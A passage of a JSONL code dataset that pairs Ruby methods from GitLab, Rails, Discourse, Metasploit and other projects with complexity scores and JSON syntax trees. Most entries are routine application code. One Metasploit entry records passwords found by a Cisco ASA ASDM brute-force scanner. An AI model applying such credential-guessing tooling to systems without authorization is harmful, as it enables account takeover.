end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_subforem_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]},{\"type\":\"arg\",\"children\":[\"image_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubforemImageUploader\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uploader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"set_image_type\",{\"type\":\"lvar\",\"children\":[\"image_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"store!\",{\"type\":\"lvar\",\"children\":[\"image\"]}]}]}]}]}","id":"877d6f75-d850-4129-b59e-f12e2dd152a6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb","start_line":48,"raw_source":"def update_batch(sub_batch)\n connection.execute <<~SQL\n UPDATE issues\n SET namespace_id = projects.project_namespace_id\n FROM (#{sub_batch.to_sql}) AS projects(issue_id, project_namespace_id)\n WHERE issues.id = issue_id\n SQL\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE issues\\n\"]},{\"type\":\"str\",\"children\":[\"SET namespace_id = projects.project_namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS projects(issue_id, project_namespace_id)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE issues.id = issue_id\\n\"]}]}]}]}","id":"e7141384-8159-434a-b7b2-1bff22d16ca9"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_artifacts_controller.rb","start_line":57,"raw_source":"def destroy\n if @artifact.destroy\n head :no_content\n else\n render_json_error @artifact\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@artifact\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"ivar\",\"children\":[\"@artifact\"]}]}]}]}","id":"a98197ae-16b5-44fc-8b3e-57ddaa2b6f1e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/terraform_state.rb","start_line":20,"raw_source":"def storage_path = context.terraform_state_path","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"terraform_state_path\"]}]}","id":"a1be9904-15a0-4cc1-adfb-7363979dba2c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/milestone_spec.rb","start_line":177,"raw_source":"def query_group_milestone_ids(params)\n query = graphql_query_for('group', { 'fullPath' => group.full_path },\n query_graphql_field('milestones', params, query_graphql_path([:nodes], :id))\n )\n\n post_graphql(query, current_user: current_user)\n\n graphql_data_at(:group, :milestones, :nodes).pluck('id').map { |gid| GlobalID.parse(gid).model_id.to_i }\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"query_group_milestone_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"milestones\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"query_graphql_path\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"nodes\"]}]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"post_graphql\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_data_at\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"milestones\"]},{\"type\":\"sym\",\"children\":[\"nodes\"]}]},\"pluck\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"gid\"]}]},\"model_id\"]},\"to_i\"]}]}]}]}","id":"f55559f4-e9b2-4c59-871d-668711b4f53b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240708074520_add_scan_status_to_scan_result_policy_violation.rb","start_line":13,"raw_source":"def down\n with_lock_retries do\n remove_column :scan_result_policy_violations,\n :status, :integer\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"scan_result_policy_violations\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}","id":"ce989b66-6534-409f-b689-e0a38d1ebe13"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/update_account_service.rb","start_line":36,"raw_source":"def process_hashtags(account)\n account.tags_as_strings = Extractor.extract_hashtags(account.note)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_hashtags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"tags_as_strings=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extractor\"]},\"extract_hashtags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"note\"]}]}]}]}","id":"26c11d59-48c2-443e-8585-ada9c9efb181"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/resource.rb","start_line":130,"raw_source":"def cmd_makerc(*args)\n if args.empty? || args.include?('-h')\n cmd_makerc_help\n return false\n end\n driver.save_recent_history(args[0])\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_makerc\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_makerc_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"save_recent_history\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"b385bd4f-3b37-4d3b-9dcb-abbec8ff7edd"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":32,"raw_source":"def test_has_many_inherited\n assert_includes authors(:mary).categories, categories(:sti_test)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_inherited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]},\"categories\"]},{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"sti_test\"]}]}]}]}","id":"00d30aa5-61d1-4e68-91d5-423f506a7f92"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb","start_line":72,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: 'Cisco ASA ASDM',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n\n login_data = {\n last_attempted_at: DateTime.now,\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::SUCCESSFUL,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"Cisco ASA ASDM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"d04f3338-a88d-4906-a3a8-d355310ee45e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/worker_execution_tracker.rb","start_line":72,"raw_source":"def with_redis(&)\n Redis::QueuesMetadata.with(&) # rubocop:disable CodeReuse/ActiveRecord -- Not active record\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"QueuesMetadata\"]},\"with\",{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"bd0ccee3-67de-43d6-a2e4-326d629ee314"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_encryptor_test.rb","start_line":169,"raw_source":"def assert_aead_not_decrypted(encryptor, value)\n assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do\n encryptor.decrypt_and_verify(value)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_aead_not_decrypted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encryptor\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageEncryptor\"]},\"InvalidMessage\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encryptor\"]},\"decrypt_and_verify\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"5a9a24ca-0f7f-405f-b6a2-b26f90cc2ffb"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/permitted_params.rb","start_line":172,"raw_source":"def role\n params.require(:role).permit(*self.class.permitted_attributes[:role])\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"role\"]}]},\"permit\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"permitted_attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"role\"]}]}]}]}]}","id":"8316a9be-8260-4777-a148-4b25ac770744"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/organizations/groups/transfer_validator.rb","start_line":19,"raw_source":"def error_message\n return localized_error_messages[:group_not_root] unless group_is_root?\n return localized_error_messages[:same_organization] if same_organization?\n return localized_error_messages[:permission] unless has_permission?\n return cannot_transfer_users_error unless can_transfer_users?\n\n nil\n end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_is_root?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_error_messages\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_not_root\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_organization?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_error_messages\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"same_organization\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_permission?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_error_messages\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permission\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_transfer_users?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cannot_transfer_users_error\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"4190104a-6549-42db-a985-5aaca3f4e28d"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":508,"raw_source":"def format_stream(tag, es) # for BufferedOutputTestDriver\n if @compress == :gzip\n es.to_compressed_msgpack_stream(time_int: @time_as_integer)\n else\n es.to_msgpack_stream(time_int: @time_as_integer)\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compress\"]},\"==\",{\"type\":\"sym\",\"children\":[\"gzip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"to_compressed_msgpack_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_int\"]},{\"type\":\"ivar\",\"children\":[\"@time_as_integer\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"to_msgpack_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_int\"]},{\"type\":\"ivar\",\"children\":[\"@time_as_integer\"]}]}]}]}]}]}","id":"44fa0621-12ad-4b9e-8a11-f8a38b2ee555"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/operation_service.rb","start_line":148,"raw_source":"def user_merge_to_ref(user, source_sha:, branch:, target_ref:, message:, first_parent_ref:, expected_old_oid: \"\")\n request = Gitaly::UserMergeToRefRequest.new(\n repository: @gitaly_repo,\n source_sha: source_sha,\n branch: encode_binary(branch),\n target_ref: encode_binary(target_ref),\n user: gitaly_user(user),\n message: encode_binary(message),\n first_parent_ref: encode_binary(first_parent_ref),\n expected_old_oid: expected_old_oid,\n timestamp: Google::Protobuf::Timestamp.new(seconds: Time.now.utc.to_i)\n )\n\n response = gitaly_client_call(@repository.storage, :operation_service,\n :user_merge_to_ref, request, timeout: GitalyClient.long_timeout)\n\n response.commit_id\n end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_merge_to_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"source_sha\"]},{\"type\":\"kwarg\",\"children\":[\"branch\"]},{\"type\":\"kwarg\",\"children\":[\"target_ref\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"first_parent_ref\"]},{\"type\":\"kwoptarg\",\"children\":[\"expected_old_oid\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"UserMergeToRefRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_sha\"]},{\"type\":\"lvar\",\"children\":[\"source_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_ref\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"target_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"gitaly_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_parent_ref\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"first_parent_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_old_oid\"]},{\"type\":\"lvar\",\"children\":[\"expected_old_oid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Timestamp\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"to_i\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"operation_service\"]},{\"type\":\"sym\",\"children\":[\"user_merge_to_ref\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"long_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"commit_id\"]}]}]}","id":"4586cabf-c12b-4eb7-8001-8d05978a21c3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2html.rb","start_line":161,"raw_source":"def has_timestamp_prefix?(line)\n # Avoid regex on timestamps for performance\n return unless @has_timestamps && line && line.length >= TIMESTAMP_HEADER_LENGTH\n\n line[TIMESTAMP_HEADER_DATETIME_LENGTH - 1] == 'Z' &&\n line[4] == '-' && line[7] == '-' && line[10] == 'T' && line[13] == ':'\n end","complexity_score":27.75,"ast_json":"{\"type\":\"def\",\"children\":[\"has_timestamp_prefix?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_timestamps\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"TIMESTAMP_HEADER_LENGTH\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIMESTAMP_HEADER_DATETIME_LENGTH\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"Z\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]},\"==\",{\"type\":\"str\",\"children\":[\"T\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[13]}]},\"==\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}","id":"8cc12ede-2655-46fe-95ad-825f0c0663fc"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/mappers/conversation_mapper.rb","start_line":51,"raw_source":"def transcript_messages\n @transcript_messages ||= conversation.messages.chat.select(&:conversation_transcriptable?)\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"transcript_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@transcript_messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"messages\"]},\"chat\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_transcriptable?\"]}]}]}]}]}","id":"bbcbd203-853b-449f-8dc8-8a760213b3c8"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/settings.rb","start_line":50,"raw_source":"def set_working_week_days(*days)\n week_days = get_week_days(*days)\n Setting.working_days += week_days\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_working_week_days\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"days\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"week_days\",{\"type\":\"send\",\"children\":[null,\"get_week_days\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"working_days\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"week_days\"]}]}]}]}","id":"619c69d5-0794-437b-acfb-6684eb668533"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/rapid_diffs/diff_file_component_preview.rb","start_line":204,"raw_source":"def added_big_file\n hunk = \"\n --- a/text_file\n +++ b/text_file\n \"\n file = diff_file_from_hunk(hunk)\n file.define_singleton_method(:too_large?) { true }\n render(::RapidDiffs::DiffFileComponent.new(diff_file: file))\n 